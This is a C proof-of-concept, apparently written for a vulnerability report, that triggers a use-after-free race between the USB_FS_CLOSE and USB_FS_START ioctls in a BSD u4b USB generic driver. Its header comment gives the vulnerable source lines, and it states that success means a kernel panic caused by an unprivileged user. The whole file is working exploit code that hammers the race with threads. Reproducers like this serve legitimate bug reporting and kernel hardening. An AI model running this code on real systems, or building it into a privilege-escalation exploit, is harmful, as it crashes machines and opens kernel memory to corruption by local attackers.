/*
 * DF-5314 -- USB_FS_CLOSE vs USB_FS_START race on a shared ugen fd:
 * use-after-free of the per-endpoint fs xfer (usb_xfer root block).
 *
 * Distinct from DF-5288 (whose freeing side is USB_FS_UNINIT freeing the
 * whole fs_xfer ARRAY).  Here the freeing side is USB_FS_CLOSE, which
 * calls usbd_transfer_unsetup(f->fs_xfer + ep_index, 1) on a SINGLE
 * entry (sys/bus/u4b/usb_generic.c:1567), draining and then
 * delayed-freeing the usb_xfer_root block that contains the xfer
 * (usb_transfer.c:1266-1316, usbd_delayed_free).
 *
 * The consumer side is ugen_fs_copy_in() (USB_FS_START), which snapshots
 *   xfer = f->fs_xfer[ep_index];            [usb_generic.c:1051, NO LOCK]
 * passes a pending-check under priv_lock, and then -- with no lock --
 * derefs and WRITES the xfer across several sleeping copyin() calls:
 *   fs_ep.nFrames > xfer->max_frame_count    [:1069 read of freed mem]
 *   xfer->error / xfer->nframes / xfer->timeout   [:1070,:1132,:1133 writes]
 *   usbd_xfer_set_frame_offset(xfer,...)     [:1083,:1186 pointer writes]
 *   copyin(uaddr, req, 8) with req = xfer->frbuffers[0].buffer
 *                                            [:1087,:1099 write THROUGH a
 *                                             pointer read from freed mem]
 *
 * Build:  cc -O -Wall -o df5314 df5314.c -pthread
 * Run:    ./df5314           (unprivileged, rw on /dev/usb/0.2.0)
 * Success: kernel panic / fatal trap while the only freeing ioctl in the
 * mix is USB_FS_CLOSE (no USB_FS_UNINIT is ever issued).
 */
#include <sys/types.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <bus/u4b/usb.h>
#include <bus/u4b/usb_ioctl.h>

#ifndef DEV
#define	DEV	"/dev/usb/0.2.0"	/* control endpoint node of ugen0.2 */
#endif

static int fd;
static volatile int stop;

/* userland endpoint array (mirrors libusb) */
static struct usb_fs_endpoint eps[4];
static uint32_t lengths[4];
static void *buffers[4];

/* GET_STATUS(device): 0x80 0x00 wValue=0 wIndex=0 wLength=2 */
static uint8_t setup_buf[8] = { 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00 };

static void
fs_init(void)
{
	struct usb_fs_init ini;

	memset(&ini, 0, sizeof(ini));
	ini.pEndpoints = eps;
	ini.ep_index_max = 4;
	if (ioctl(fd, USB_FS_INIT, &ini) < 0)
		err(1, "USB_FS_INIT");
}

static int
fs_open(void)
{
	struct usb_fs_open op;

	memset(&op, 0, sizeof(op));
	op.ep_index = 0;
	op.ep_no = 0x00;		/* control endpoint */
	op.max_bufsize = 256;
	op.max_frames = 4;
	return (ioctl(fd, USB_FS_OPEN, &op));
}

static void *
starter(void *arg)
{
	struct usb_fs_start st;

	memset(&st, 0, sizeof(st));
	st.ep_index = 0;

	while (!stop) {
		/*
		 * Refresh the userland structures that the kernel will
		 * copyin() one by one -- this stretches the unlocked
		 * window inside ugen_fs_copy_in() that the closer has
		 * to hit (each copyin can take a page fault and sleep).
		 */
		memset(eps, 0, sizeof(eps));
		eps[0].nFrames = 2;
		eps[0].pLength = lengths;
		eps[0].ppBuffer = buffers;
		eps[0].timeout = 250;
		lengths[0] = 8;
		lengths[1] = 2;
		buffers[0] = setup_buf;
		buffers[1] = setup_buf;

		ioctl(fd, USB_FS_START, &st);
	}
	return (NULL);
}

int
main(int argc, char *argv[])
{
	pthread_t th1, th2;
	struct usb_fs_close cl;
	int i, close_ok = 0, open_ok = 0;
	int iters = argc > 1 ? atoi(argv[1]) : 200000;

	memset(&cl, 0, sizeof(cl));
	cl.ep_index = 0;

	fd = open(DEV, O_RDWR);
	if (fd < 0)
		err(1, "open %s", DEV);

	fs_init();
	if (fs_open() < 0)
		err(1, "USB_FS_OPEN");

	if (pthread_create(&th1, NULL, starter, NULL) != 0)
		err(1, "pthread_create 1");
	if (pthread_create(&th2, NULL, starter, NULL) != 0)
		err(1, "pthread_create 2");

	/*
	 * Cycle USB_FS_CLOSE -> USB_FS_OPEN on endpoint 0 while the
	 * starters hammer USB_FS_START.  NO USB_FS_UNINIT is issued:
	 * the only freeing path in this mix is the per-entry unsetup
	 * of USB_FS_CLOSE.
	 */
	for (i = 0; i < iters && !stop; i++) {
		if (ioctl(fd, USB_FS_CLOSE, &cl) == 0)
			close_ok++;
		if (fs_open() == 0)
			open_ok++;
		if ((i & 1023) == 0) {
			printf("[*] %d cycles (close_ok=%d open_ok=%d)\n",
			    i, close_ok, open_ok);
			fflush(stdout);
		}
	}
	stop = 1;
	pthread_join(th1, NULL);
	pthread_join(th2, NULL);

	printf("SURVIVED %d cycles (close_ok=%d open_ok=%d) -- race not won\n",
	    i, close_ok, open_ok);
	return (2);
}
